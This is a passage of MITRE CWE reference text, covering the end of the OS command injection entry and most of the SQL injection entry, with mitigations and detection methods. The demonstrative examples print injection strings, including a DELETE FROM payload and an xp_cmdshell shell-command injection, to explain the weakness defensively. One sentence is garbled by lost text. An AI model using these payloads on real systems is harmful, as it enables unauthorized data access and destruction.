conformance	to	business	rules.	As	an	example	of	business	rule	logic,	"boat"	may	be	syntactically	valid	because	it	only	contains	alphanumeric	characters,	but	it	is	not	valid	if	the	input	is	only	expected	to	contain	colors	such	as	"red"	or	"blue."	Do	not	rely	exclusively	on	looking	for	malicious	or	malformed	inputs.	This	is	likely	to	miss	at	least	one	undesirable	input,	especially	if	the	code's	environment	changes.	This	can	give	attackers	enough	room	to	bypass	the	intended	validation.	However,	denylists	can	be	useful	for	detecting	potential	attacks	or	determining	which
inputs	are	so	malformed	that	they	should	be	rejected	outright.	When	dynamically	constructing	web	pages,	use	stringent	allowlists	that	limit	the	character	set	based	on	the	expected	value	of	the	parameter	in	the	request.	All	input	should	be	validated	and	cleansed,	not	just	parameters	that	the	user	is	supposed	to	specify,	but	all	data	in	the	request,	including	hidden	fields,	cookies,	headers,	the	URL	itself,	and	so	forth.	A	common	mistake	that	leads	to	continuing	XSS	vulnerabilities	is	to	validate	only	fields	that	are	expected	to	be	redisplayed	by	the	site.	It	is
common	to	see	data	from	the	request	that	is	reflected	by	the	application	server	or	the	application	that	the	development	team	did	not	anticipate.	Also,	a	field	that	is	not	currently	reflected	may	be	used	by	a	future	developer.	Therefore,	validating	ALL	parts	of	the	HTTP	request	is	recommended.	Note	that	proper	output	encoding,	escaping,	and	quoting	is	the	most	effective	solution	for	preventing	XSS,	although	input	validation	may	provide	some	defense-in-depth.	This	is	because	it	effectively	limits	what	will	appear	in	output.	Input	validation	will	not	always	prevent
XSS,	especially	if	you	are	required	to	support	free-form	text	fields	that	could	contain	arbitrary	characters.	For	example,	in	a	chat	application,	the	heart	emoticon	(""	characters,	which	would	need	to	be	escaped	or	otherwise	handled.	In	this	case,	stripping	the	character	might	reduce	the	risk	of	OS	command	injection,	but	it	would	produce	incorrect	behavior	because	the	subject	field	would	not	be	recorded	as	the	user	intended.	This	might	seem	to	be	a	minor	inconvenience,	but	it	could	be	more	important	when	the	program	relies	on	well-structured	subject	lines	in
order	to	pass	messages	to	other	components.	Even	if	you	make	a	mistake	in	your	validation	(such	as	forgetting	one	out	of	100	input	fields),	appropriate	encoding	is	still	likely	to	protect	you	from	injection-based	attacks.	As	long	as	it	is	not	done	in	isolation,	input	validation	is	still	a	useful	technique,	since	it	may	significantly	reduce	your	attack	surface,	allow	you	to	detect	some	attacks,	and	provide	other	security	benefits	that	proper	encoding	does	not	address.	Phase:	Architecture	and	DesignStrategy:	Enforcement	by	ConversionWhen	the	set	of	acceptable	objects,
such	as	filenames	or	URLs,	is	limited	or	known,	create	a	mapping	from	a	set	of	fixed	input	values	(such	as	numeric	IDs)	to	the	actual	filenames	or	URLs,	and	reject	all	other	inputs.	Phase:	OperationStrategy:	Compilation	or	Build	HardeningRun	the	code	in	an	environment	that	performs	automatic	taint	propagation	and	prevents	any	command	execution	that	uses	tainted	variables,	such	as	Perl's	"-T"	switch.	This	will	force	the	program	to	perform	validation	steps	that	remove	the	taint,	although	you	must	be	careful	to	correctly	validate	your	inputs	so	that	you	do
not	accidentally	mark	dangerous	inputs	as	untainted	(see	CWE-183	and	CWE-184).	Phase:	OperationStrategy:	Environment	HardeningRun	the	code	in	an	environment	that	performs	automatic	taint	propagation	and	prevents	any	command	execution	that	uses	tainted	variables,	such	as	Perl's	"-T"	switch.	This	will	force	the	program	to	perform	validation	steps	that	remove	the	taint,	although	you	must	be	careful	to	correctly	validate	your	inputs	so	that	you	do	not	accidentally	mark	dangerous	inputs	as	untainted	(see	CWE-183	and	CWE-184).	Phase:
ImplementationEnsure	that	error	messages	only	contain	minimal	details	that	are	useful	to	the	intended	audience	and	no	one	else.	The	messages	need	to	strike	the	balance	between	being	too	cryptic	(which	can	confuse	users)	or	being	too	detailed	(which	may	reveal	more	than	intended).	The	messages	should	not	reveal	the	methods	that	were	used	to	determine	the	error.	Attackers	can	use	detailed	information	to	refine	or	optimize	their	original	attack,	thereby	increasing	their	chances	of	success.	If	errors	must	be	captured	in	some	detail,	record	them	in	log
messages,	but	consider	what	could	occur	if	the	log	messages	can	be	viewed	by	attackers.	Highly	sensitive	information	such	as	passwords	should	never	be	saved	to	log	files.	Avoid	inconsistent	messaging	that	might	accidentally	tip	off	an	attacker	about	internal	state,	such	as	whether	a	user	account	exists	or	not.	In	the	context	of	OS	Command	Injection,	error	information	passed	back	to	the	user	might	reveal	whether	an	OS	command	is	being	executed	and	possibly	which	command	is	being	used.	Phase:	OperationStrategy:	Sandbox	or	JailUse	runtime	policy
enforcement	to	create	an	allowlist	of	allowable	commands,	then	prevent	use	of	any	command	that	does	not	appear	in	the	allowlist.	Technologies	such	as	AppArmor	are	available	to	do	this.	Phase:	OperationUse	an	application	firewall	that	can	detect	attacks	against	this	weakness.	It	can	be	beneficial	in	cases	in	which	the	code	cannot	be	fixed	(because	it	is	controlled	by	a	third	party),	as	an	emergency	prevention	measure	while	more	comprehensive	software	assurance	measures	are	applied,	or	to	provide	defense	in	depth.	Note:	An	application	firewall	might	not
cover	all	possible	input	vectors.	In	addition,	attack	techniques	might	be	available	to	bypass	the	protection	mechanism,	such	as	using	malformed	inputs	that	can	still	be	processed	by	the	component	that	receives	those	inputs.	Depending	on	functionality,	an	application	firewall	might	inadvertently	reject	or	modify	legitimate	requests.	Finally,	some	manual	effort	may	be	required	for	customization.	Phases:	Architecture	and	Design;	OperationStrategy:	Environment	HardeningRun	your	code	using	the	lowest	privileges	that	are	required	to	accomplish	the	necessary
tasks	[REF-76].	If	possible,	create	isolated	accounts	with	limited	privileges	that	are	only	used	for	a	single	task.	That	way,	a	successful	attack	will	not	immediately	give	the	attacker	access	to	the	rest	of	the	software	or	its	environment.	For	example,	database	applications	rarely	need	to	run	as	the	database	administrator,	especially	in	day-to-day	operations.	Phases:	Operation;	ImplementationStrategy:	Environment	HardeningWhen	using	PHP,	configure	the	application	so	that	it	does	not	use	register_globals.	During	implementation,	develop	the	application	so	that	it
does	not	rely	on	this	feature,	but	be	wary	of	implementing	a	register_globals	emulation	that	is	subject	to	weaknesses	such	as	CWE-95,	CWE-621,	and	similar	issues.	Detection	Methods	Automated	Static	AnalysisThis	weakness	can	often	be	detected	using	automated	static	analysis	tools.	Many	modern	tools	use	data	flow	analysis	or	constraint-based	techniques	to	minimize	the	number	of	false	positives.	Automated	static	analysis	might	not	be	able	to	recognize	when	proper	input	validation	is	being	performed,	leading	to	false	positives	-	i.e.,	warnings	that	do	not
have	any	security	consequences	or	require	any	code	changes.	Automated	static	analysis	might	not	be	able	to	detect	the	usage	of	custom	API	functions	or	third-party	libraries	that	indirectly	invoke	OS	commands,	leading	to	false	negatives	-	especially	if	the	API/library	code	is	not	available	for	analysis.	Note:	This	is	not	a	perfect	solution,	since	100%	accuracy	and	coverage	are	not	feasible.	Automated	Dynamic	AnalysisThis	weakness	can	be	detected	using	dynamic	tools	and	techniques	that	interact	with	the	software	using	large	test	suites	with	many	diverse	inputs,
such	as	fuzz	testing	(fuzzing),	robustness	testing,	and	fault	injection.	The	software's	operation	may	slow	down,	but	it	should	not	become	unstable,	crash,	or	generate	incorrect	results.	Manual	Static	AnalysisSince	this	weakness	does	not	typically	appear	frequently	within	a	single	software	package,	manual	white	box	techniques	may	be	able	to	provide	sufficient	code	coverage	and	reduction	of	false	positives	if	all	potentially-vulnerable	operations	can	be	assessed	within	limited	time	constraints.	Automated	Static	Analysis	-	Binary	or	BytecodeAccording	to	SOAR,
the	following	detection	techniques	may	be	useful:	Bytecode	Weakness	Analysis	-	including	disassembler	+	source	code	weakness	analysis	Binary	Weakness	Analysis	-	including	disassembler	+	source	code	weakness	analysis	Dynamic	Analysis	with	Automated	Results	InterpretationAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Web	Application	Scanner	Web	Services	Scanner	Database	Scanners	Effectiveness:	SOAR	Partial	Dynamic	Analysis	with	Manual	Results	InterpretationAccording	to	SOAR,	the
following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Fuzz	Tester	Framework-based	Fuzzer	Effectiveness:	SOAR	Partial	Manual	Static	Analysis	-	Source	CodeAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Manual	Source	Code	Review	(not	inspections)	Cost	effective	for	partial	coverage:	Focused	Manual	Spotcheck	-	Focused	manual	analysis	of	source	Automated	Static	Analysis	-	Source	CodeAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Source	code	Weakness	Analyzer	Context-
configured	Source	Code	Weakness	Analyzer	Architecture	or	Design	ReviewAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Formal	Methods	/	Correct-By-Construction	Cost	effective	for	partial	coverage:	Inspection	(IEEE	1028	standard)	(can	apply	to	requirements,	design,	source	code,	etc.)	Functional	Areas	Affected	Resources	Notes	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19PLOVER	ModificationsModification	DateModifierOrganization2008-07-01Sean	EidemillerCigitaladded/updated	demonstrative
examples2008-07-01Eric	DalciCigitalupdated	Time_of_Introduction2008-08-01KDM	Analyticsadded/updated	white	box	definitions2008-08-15VeracodeSuggested	OWASP	Top	Ten	2004	mapping2008-09-08CWE	Content	TeamMITREupdated	Relationships,	Other_Notes,	Taxonomy_Mappings2008-10-14CWE	Content	TeamMITREupdated	Description2008-11-24CWE	Content	TeamMITREupdated	Observed_Examples,	Relationships,	Taxonomy_Mappings2009-01-12CWE	Content	TeamMITREupdated	Common_Consequences,	Demonstrative_Examples,	Description,
Likelihood_of_Exploit,	Name,	Observed_Examples,	Other_Notes,	Potential_Mitigations,	Relationships,	Research_Gaps,	Terminology_Notes2009-03-10CWE	Content	TeamMITREupdated	Potential_Mitigations2009-05-27CWE	Content	TeamMITREupdated	Name,	Related_Attack_Patterns2009-07-17KDM	AnalyticsImproved	the	White_Box_Definition2009-07-27CWE	Content	TeamMITREupdated	Description,	Name,	White_Box_Definitions2009-10-29CWE	Content	TeamMITREupdated	Observed_Examples,	References2009-12-28CWE	Content	TeamMITREupdated
Detection_Factors2010-02-16CWE	Content	TeamMITREupdated	Detection_Factors,	Potential_Mitigations,	References,	Relationships,	Taxonomy_Mappings2010-04-05CWE	Content	TeamMITREupdated	Potential_Mitigations2010-06-21CWE	Content	TeamMITREupdated	Common_Consequences,	Description,	Detection_Factors,	Name,	Observed_Examples,	Potential_Mitigations,	References,	Relationships2010-09-27CWE	Content	TeamMITREupdated	Potential_Mitigations2010-12-13CWE	Content	TeamMITREupdated	Description,	Potential_Mitigations2011-03-
29CWE	Content	TeamMITREupdated	Demonstrative_Examples,	Description2011-06-01CWE	Content	TeamMITREupdated	Common_Consequences,	Relationships,	Taxonomy_Mappings2011-06-27CWE	Content	TeamMITREupdated	Relationships2011-09-13CWE	Content	TeamMITREupdated	Potential_Mitigations,	References,	Relationships,	Taxonomy_Mappings2012-05-11CWE	Content	TeamMITREupdated	Demonstrative_Examples,	References,	Relationships,	Taxonomy_Mappings2012-10-30CWE	Content	TeamMITREupdated	Observed_Examples,
Potential_Mitigations2014-02-18CWE	Content	TeamMITREupdated	Applicable_Platforms,	Demonstrative_Examples,	Terminology_Notes2014-06-23CWE	Content	TeamMITREupdated	Relationships2014-07-30CWE	Content	TeamMITREupdated	Detection_Factors,	Relationships,	Taxonomy_Mappings2015-12-07CWE	Content	TeamMITREupdated	Relationships2017-11-08CWE	Content	TeamMITREupdated	Modes_of_Introduction,	References,	Relationships,	Taxonomy_Mappings,	White_Box_Definitions2018-03-27CWE	Content	TeamMITREupdated
Relationships2019-01-03CWE	Content	TeamMITREupdated	References,	Relationships,	Taxonomy_Mappings2019-06-20CWE	Content	TeamMITREupdated	Relationships2019-09-19CWE	Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Potential_Mitigations,	Relationships2020-06-25CWE	Content	TeamMITREupdated	Observed_Examples,	Potential_Mitigations2020-08-20CWE	Content	TeamMITREupdated	Relationships2020-12-10CWE	Content	TeamMITREupdated	Potential_Mitigations,	Relationships2021-07-20CWE
Content	TeamMITREupdated	Observed_Examples,	Relationships2021-10-28CWE	Content	TeamMITREupdated	Relationships2022-04-28CWE	Content	TeamMITREupdated	Demonstrative_Examples2022-06-28CWE	Content	TeamMITREupdated	Observed_Examples,	Relationships	Previous	Entry	NamesChange	DatePrevious	Entry	Name2008-04-11OS	Command	Injection2009-01-12Failure	to	Sanitize	Data	into	an	OS	Command	(aka	'OS	Command	Injection')2009-05-27Failure	to	Preserve	OS	Command	Structure	(aka	'OS	Command	Injection')2009-07-27Failure	to
Preserve	OS	Command	Structure	('OS	Command	Injection')2010-06-21Improper	Sanitization	of	Special	Elements	used	in	an	OS	Command	('OS	Command	Injection')	Weakness	ID:	89Abstraction:	BaseStructure:	Simple	DescriptionThe	software	constructs	all	or	part	of	an	SQL	command	using	externally-influenced	input	from	an	upstream	component,	but	it	does	not	neutralize	or	incorrectly	neutralizes	special	elements	that	could	modify	the	intended	SQL	command	when	it	is	sent	to	a	downstream	component.	Extended	DescriptionWithout	sufficient	removal	or
quoting	of	SQL	syntax	in	user-controllable	inputs,	the	generated	SQL	query	can	cause	those	inputs	to	be	interpreted	as	SQL	instead	of	ordinary	user	data.	This	can	be	used	to	alter	query	logic	to	bypass	security	checks,	or	to	insert	additional	statements	that	modify	the	back-end	database,	possibly	including	execution	of	system	commands.	SQL	injection	has	become	a	common	issue	with	database-driven	web	sites.	The	flaw	is	easily	detected,	and	easily	exploited,	and	as	such,	any	site	or	software	package	with	even	a	minimal	user	base	is	likely	to	be	subject	to	an
attempted	attack	of	this	kind.	This	flaw	depends	on	the	fact	that	SQL	makes	no	real	distinction	between	the	control	and	data	planes.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)TechnologiesDatabase	Server
(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a
certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodConfidentialityTechnical	Impact:	Read	Application	DataSince	SQL	databases	generally	hold	sensitive	data,	loss	of	confidentiality	is	a	frequent	problem	with	SQL	injection	vulnerabilities.	Access	ControlTechnical	Impact:	Bypass	Protection	MechanismIf	poor	SQL	commands	are	used	to	check	user	names	and	passwords,	it	may	be	possible	to	connect	to	a	system	as	another	user	with	no	previous	knowledge	of	the	password.	Access	ControlTechnical
Impact:	Bypass	Protection	MechanismIf	authorization	information	is	held	in	a	SQL	database,	it	may	be	possible	to	change	this	information	through	the	successful	exploitation	of	a	SQL	injection	vulnerability.	IntegrityTechnical	Impact:	Modify	Application	DataJust	as	it	may	be	possible	to	read	sensitive	information,	it	is	also	possible	to	make	changes	or	even	delete	this	information	with	a	SQL	injection	attack.	Likelihood	Of	Exploit	Demonstrative	ExamplesExample	1In	2008,	a	large	number	of	web	servers	were	compromised	using	the	same	SQL	injection	attack
string.	This	single	string	worked	against	many	different	programs.	The	SQL	injection	was	then	used	to	modify	the	web	sites	to	serve	malicious	code.Example	2The	following	code	dynamically	constructs	and	executes	a	SQL	query	that	searches	for	items	matching	a	specified	name.	The	query	restricts	the	items	displayed	to	those	where	owner	matches	the	user	name	of	the	currently-authenticated	user.	...string	userName	=	ctx.getAuthenticatedUserName();string	query	=	"SELECT	*	FROM	items	WHERE	owner	=	'"	+	userName	+	"'	AND	itemname	=	'"	+
ItemName.Text	+	"'";sda	=	new	SqlDataAdapter(query,	conn);DataTable	dt	=	new	DataTable();sda.Fill(dt);...	The	query	that	this	code	intends	to	execute	follows:However,	because	the	query	is	constructed	dynamically	by	concatenating	a	constant	base	query	string	and	a	user	input	string,	the	query	only	behaves	correctly	if	itemName	does	not	contain	a	single-quote	character.	If	an	attacker	with	the	user	name	wiley	enters	the	string:for	itemName,	then	the	query	becomes	the	following:	SELECT	*	FROM	items	WHERE	owner	=	'wiley'	AND	itemname	=	'name'	OR
'a'='a';	The	addition	of	the:condition	causes	the	WHERE	clause	to	always	evaluate	to	true,	so	the	query	becomes	logically	equivalent	to	the	much	simpler	query:This	simplification	of	the	query	allows	the	attacker	to	bypass	the	requirement	that	the	query	only	return	items	owned	by	the	authenticated	user;	the	query	now	returns	all	entries	stored	in	the	items	table,	regardless	of	their	specified	owner.Example	3This	example	examines	the	effects	of	a	different	malicious	value	passed	to	the	query	constructed	and	executed	in	the	previous	example.If	an	attacker	with
the	user	name	wiley	enters	the	string:	name';	DELETE	FROM	items;	--	for	itemName,	then	the	query	becomes	the	following	two	queries:	SELECT	*	FROM	items	WHERE	owner	=	'wiley'	AND	itemname	=	'name';DELETE	FROM	items;	--'	Many	database	servers,	including	Microsoft(R)	SQL	Server	2000,	allow	multiple	SQL	statements	separated	by	semicolons	to	be	executed	at	once.	While	this	attack	string	results	in	an	error	on	Oracle	and	other	database	servers	that	do	not	allow	the	batch-execution	of	statements	separated	by	semicolons,	on	databases	that	do
allow	batch	execution,	this	type	of	attack	allows	the	attacker	to	execute	arbitrary	commands	against	the	database.Notice	the	trailing	pair	of	hyphens	(--),	which	specifies	to	most	database	servers	that	the	remainder	of	the	statement	is	to	be	treated	as	a	comment	and	not	executed.	In	this	case	the	comment	character	serves	to	remove	the	trailing	single-quote	left	over	from	the	modified	query.	On	a	database	where	comments	are	not	allowed	to	be	used	in	this	way,	the	general	attack	could	still	be	made	effective	using	a	trick	similar	to	the	one	shown	in	the
previous	example.If	an	attacker	enters	the	string	name';	DELETE	FROM	items;	SELECT	*	FROM	items	WHERE	'a'='a	Then	the	following	three	valid	statements	will	be	created:	SELECT	*	FROM	items	WHERE	owner	=	'wiley'	AND	itemname	=	'name';DELETE	FROM	items;SELECT	*	FROM	items	WHERE	'a'='a';	One	traditional	approach	to	preventing	SQL	injection	attacks	is	to	handle	them	as	an	input	validation	problem	and	either	accept	only	characters	from	an	allowlist	of	safe	values	or	identify	and	escape	a	denylist	of	potentially	malicious	values.	Allowlists
can	be	a	very	effective	means	of	enforcing	strict	input	validation	rules,	but	parameterized	SQL	statements	require	less	maintenance	and	can	offer	more	guarantees	with	respect	to	security.	As	is	almost	always	the	case,	denylisting	is	riddled	with	loopholes	that	make	it	ineffective	at	preventing	SQL	injection	attacks.	For	example,	attackers	can:	Target	fields	that	are	not	quoted	Find	ways	to	bypass	the	need	for	certain	escaped	meta-characters	Use	stored	procedures	to	hide	the	injected	meta-characters.	Manually	escaping	characters	in	input	to	SQL	queries	can
help,	but	it	will	not	make	your	application	secure	from	SQL	injection	attacks.Another	solution	commonly	proposed	for	dealing	with	SQL	injection	attacks	is	to	use	stored	procedures.	Although	stored	procedures	prevent	some	types	of	SQL	injection	attacks,	they	do	not	protect	against	many	others.	For	example,	the	following	PL/SQL	procedure	is	vulnerable	to	the	same	SQL	injection	attack	shown	in	the	first	example.	procedure	get_item	(	itm_cv	IN	OUT	ItmCurTyp,	usr	in	varchar2,	itm	in	varchar2)is	open	itm_cv	for'	SELECT	*	FROM	items	WHERE	'	||	'owner	=	'||
usr	||	'	AND	itemname	=	'	||	itm	||	';end	get_item;	Stored	procedures	typically	help	prevent	SQL	injection	attacks	by	limiting	the	types	of	statements	that	can	be	passed	to	their	parameters.	However,	there	are	many	ways	around	the	limitations	and	many	interesting	statements	that	can	still	be	passed	to	stored	procedures.	Again,	stored	procedures	can	prevent	some	exploits,	but	they	will	not	make	your	application	secure	against	SQL	injection	attacks.Example	4MS	SQL	has	a	built	in	function	that	enables	shell	command	execution.	An	SQL	injection	in	such	a
context	could	be	disastrous.	For	example,	a	query	of	the	form:	SELECT	ITEM,PRICE	FROM	PRODUCT	WHERE	ITEM_CATEGORY='$user_input'	ORDER	BY	PRICE	Where	$user_input	is	taken	from	an	untrusted	source.If	the	user	provides	the	string:	';	exec	master..xp_cmdshell	'dir'	--	The	query	will	take	the	following	form:	SELECT	ITEM,PRICE	FROM	PRODUCT	WHERE	ITEM_CATEGORY='';	exec	master..xp_cmdshell	'dir'	--'	ORDER	BY	PRICE	Now,	this	query	can	be	broken	down	into:	a	first	SQL	query:	SELECT	ITEM,PRICE	FROM	PRODUCT	WHERE
ITEM_CATEGORY='';	a	second	SQL	query,	which	executes	the	dir	command	in	the	shell:	exec	master..xp_cmdshell	'dir'	an	MS	SQL	comment:	--'	ORDER	BY	PRICE	As	can	be	seen,	the	malicious	input	changes	the	semantics	of	the	query	into	a	query,	a	shell	command	execution	and	a	comment.Example	5This	code	intends	to	print	a	message	summary	given	the	message	ID.	$id	=	$_COOKIE["mid"];mysql_query("SELECT	MessageID,	Subject	FROM	messages	WHERE	MessageID	=	'$id'");	The	programmer	may	have	skipped	any	input	validation	on	$id	under	the
assumption	that	attackers	cannot	modify	the	cookie.	However,	this	is	easy	to	do	with	custom	client	code	or	even	in	the	web	browser.While	$id	is	wrapped	in	single	quotes	in	the	call	to	mysql_query(),	an	attacker	could	simply	change	the	incoming	mid	cookie	to:This	would	produce	the	resulting	query:	SELECT	MessageID,	Subject	FROM	messages	WHERE	MessageID	=	'1432'	or	'1'	=	'1'	Not	only	will	this	retrieve	message	number	1432,	it	will	retrieve	all	other	messages.In	this	case,	the	programmer	could	apply	a	simple	modification	to	the	code	to	eliminate	the
SQL	injection:	$id	=	intval($_COOKIE["mid"]);mysql_query("SELECT	MessageID,	Subject	FROM	messages	WHERE	MessageID	=	'$id'");	However,	if	this	code	is	intended	to	support	multiple	users	with	different	message	boxes,	the	code	might	also	need	an	access	control	check	(CWE-285)	to	ensure	that	the	application	user	has	the	permission	to	see	that	message.	Example	6This	example	attempts	to	take	a	last	name	provided	by	a	user	and	enter	it	into	a	database.	$userKey	=	getUserID();$name	=	getUserInput();	#	ensure	only	letters,	hyphens	and	apostrophe
are	allowed	$name	=	allowList($name,	"^a-zA-z'-$");$query	=	"INSERT	INTO	last_names	VALUES('$userKey',	'$name')";	While	the	programmer	applies	a	allowlist	to	the	user	input,	it	has	shortcomings.	First	of	all,	the	user	is	still	allowed	to	provide	hyphens,	which	are	used	as	comment	structures	in	SQL.	If	a	user	specifies	"--"	then	the	remainder	of	the	statement	will	be	treated	as	a	comment,	which	may	bypass	security	logic.	Furthermore,	the	allowlist	permits	the	apostrophe,	which	is	also	a	data	/	command	separator	in	SQL.	If	a	user	supplies	a	name	with	an
apostrophe,	they	may	be	able	to	alter	the	structure	of	the	whole	statement	and	even	change	control	flow	of	the	program,	possibly	accessing	or	modifying	confidential	information.	In	this	situation,	both	the	hyphen	and	apostrophe	are	legitimate	characters	for	a	last	name	and	permitting	them	is	required.	Instead,	a	programmer	may	want	to	use	a	prepared	statement	or	apply	an	encoding	routine	to	the	input	to	prevent	any	data	/	directive	misinterpretations.	Observed	ExamplesReferenceDescription	SQL	injection	in	time	and	billing	software,	as	exploited	in	the
wild	per	CISA	KEV.	SQL	injection	in	file-transfer	system	via	a	crafted	Host	header,	as	exploited	in	the	wild	per	CISA	KEV.	SQL	injection	in	firewall	product's	admin	interface	or	user	portal,	as	exploited	in	the	wild	per	CISA	KEV.	chain:	SQL	injection	in	library	intended	for	database	authentication	allows	SQL	injection	and	authentication	bypass.	SQL	injection	through	an	ID	that	was	supposed	to	be	numeric.	SQL	injection	through	an	ID	that	was	supposed	to	be	numeric.	SQL	injection	via	user	name.	SQL	injection	via	user	name	or	password	fields.	SQL	injection	in
security	product,	using	a	crafted	group	name.	SQL	injection	in	authentication	library.	SQL	injection	in	vulnerability	management	and	reporting	tool,	using	a	crafted	password.	Potential	Mitigations	Phase:	Architecture	and	DesignStrategy:	Libraries	or	FrameworksUse	a	vetted	library	or	framework	that	does	not	allow	this	weakness	to	occur	or	provides	constructs	that	make	this	weakness	easier	to	avoid.	For	example,	consider	using	persistence	layers	such	as	Hibernate	or	Enterprise	Java	Beans,	which	can	provide	significant	protection	against	SQL	injection	if
used	properly.	Phase:	Architecture	and	DesignStrategy:	ParameterizationIf	available,	use	structured	mechanisms	that	automatically	enforce	the	separation	between	data	and	code.	These	mechanisms	may	be	able	to	provide	the	relevant	quoting,	encoding,	and	validation	automatically,	instead	of	relying	on	the	developer	to	provide	this	capability	at	every	point	where	output	is	generated.	Process	SQL	queries	using	prepared	statements,	parameterized	queries,	or	stored	procedures.	These	features	should	accept	parameters	or	variables	and	support	strong	typing.
Do	not	dynamically	construct	and	execute	query	strings	within	these	features	using	"exec"	or	similar	functionality,	since	this	may	re-introduce	the	possibility	of	SQL	injection.	[REF-867]	Phases:	Architecture	and	Design;	OperationStrategy:	Environment	HardeningRun	your	code	using	the	lowest	privileges	that	are	required	to	accomplish	the	necessary	tasks	[REF-76].	If	possible,	create	isolated	accounts	with	limited	privileges	that	are	only	used	for	a	single	task.	That	way,	a	successful	attack	will	not	immediately	give	the	attacker	access	to	the	rest	of	the	software
or	its	environment.	For	example,	database	applications	rarely	need	to	run	as	the	database	administrator,	especially	in	day-to-day	operations.	Specifically,	follow	the	principle	of	least	privilege	when	creating	user	accounts	to	a	SQL	database.	The	database	users	should	only	have	the	minimum	privileges	necessary	to	use	their	account.	If	the	requirements	of	the	system	indicate	that	a	user	can	read	and	modify	their	own	data,	then	limit	their	privileges	so	they	cannot	read/write	others'	data.	Use	the	strictest	permissions	possible	on	all	database	objects,	such	as
execute-only	for	stored	procedures.	Phase:	Architecture	and	DesignFor	any	security	checks	that	are	performed	on	the	client	side,	ensure	that	these	checks	are	duplicated	on	the	server	side,	in	order	to	avoid	CWE-602.	Attackers	can	bypass	the	client-side	checks	by	modifying	values	after	the	checks	have	been	performed,	or	by	changing	the	client	to	remove	the	client-side	checks	entirely.	Then,	these	modified	values	would	be	submitted	to	the	server.	Phase:	ImplementationStrategy:	Output	EncodingWhile	it	is	risky	to	use	dynamically-generated	query	strings,
code,	or	commands	that	mix	control	and	data	together,	sometimes	it	may	be	unavoidable.	Properly	quote	arguments	and	escape	any	special	characters	within	those	arguments.	The	most	conservative	approach	is	to	escape	or	filter	all	characters	that	do	not	pass	an	extremely	strict	allowlist	(such	as	everything	that	is	not	alphanumeric	or	white	space).	If	some	special	characters	are	still	needed,	such	as	white	space,	wrap	each	argument	in	quotes	after	the	escaping/filtering	step.	Be	careful	of	argument	injection	(CWE-88).	Instead	of	building	a	new
implementation,	such	features	may	be	available	in	the	database	or	programming	language.	For	example,	the	Oracle	DBMS_ASSERT	package	can	check	or	enforce	that	parameters	have	certain	properties	that	make	them	less	vulnerable	to	SQL	injection.	For	MySQL,	the	mysql_real_escape_string()	API	function	is	available	in	both	C	and	PHP.	Phase:	ImplementationStrategy:	Input	ValidationAssume	all	input	is	malicious.	Use	an	"accept	known	good"	input	validation	strategy,	i.e.,	use	a	list	of	acceptable	inputs	that	strictly	conform	to	specifications.	Reject	any
input	that	does	not	strictly	conform	to	specifications,	or	transform	it	into	something	that	does.	When	performing	input	validation,	consider	all	potentially	relevant	properties,	including	length,	type	of	input,	the	full	range	of	acceptable	values,	missing	or	extra	inputs,	syntax,	consistency	across	related	fields,	and	conformance	to	business	rules.	As	an	example	of	business	rule	logic,	"boat"	may	be	syntactically	valid	because	it	only	contains	alphanumeric	characters,	but	it	is	not	valid	if	the	input	is	only	expected	to	contain	colors	such	as	"red"	or	"blue."	Do	not	rely
exclusively	on	looking	for	malicious	or	malformed	inputs.	This	is	likely	to	miss	at	least	one	undesirable	input,	especially	if	the	code's	environment	changes.	This	can	give	attackers	enough	room	to	bypass	the	intended	validation.	However,	denylists	can	be	useful	for	detecting	potential	attacks	or	determining	which	inputs	are	so	malformed	that	they	should	be	rejected	outright.	When	constructing	SQL	query	strings,	use	stringent	allowlists	that	limit	the	character	set	based	on	the	expected	value	of	the	parameter	in	the	request.	This	will	indirectly	limit	the	scope	of
an	attack,	but	this	technique	is	less	important	than	proper	output	encoding	and	escaping.	Note	that	proper	output	encoding,	escaping,	and	quoting	is	the	most	effective	solution	for	preventing	SQL	injection,	although	input	validation	may	provide	some	defense-in-depth.	This	is	because	it	effectively	limits	what	will	appear	in	output.	Input	validation	will	not	always	prevent	SQL	injection,	especially	if	you	are	required	to	support	free-form	text	fields	that	could	contain	arbitrary	characters.	For	example,	the	name	"O'Reilly"	would	likely	pass	the	validation	step,	since
it	is	a	common	last	name	in	the	English	language.	However,	it	cannot	be	directly	inserted	into	the	database	because	it	contains	the	"'"	apostrophe	character,	which	would	need	to	be	escaped	or	otherwise	handled.	In	this	case,	stripping	the	apostrophe	might	reduce	the	risk	of	SQL	injection,	but	it	would	produce	incorrect	behavior	because	the	wrong	name	would	be	recorded.	When	feasible,	it	may	be	safest	to	disallow	meta-characters	entirely,	instead	of	escaping	them.	This	will	provide	some	defense	in	depth.	After	the	data	is	entered	into	the	database,	later
processes	may	neglect	to	escape	meta-characters	before	use,	and	you	may	not	have	control	over	those	processes.	Phase:	Architecture	and	DesignStrategy:	Enforcement	by	ConversionWhen	the	set	of	acceptable	objects,	such	as	filenames	or	URLs,	is	limited	or	known,	create	a	mapping	from	a	set	of	fixed	input	values	(such	as	numeric	IDs)	to	the	actual	filenames	or	URLs,	and	reject	all	other	inputs.	Phase:	ImplementationEnsure	that	error	messages	only	contain	minimal	details	that	are	useful	to	the	intended	audience	and	no	one	else.	The	messages	need	to
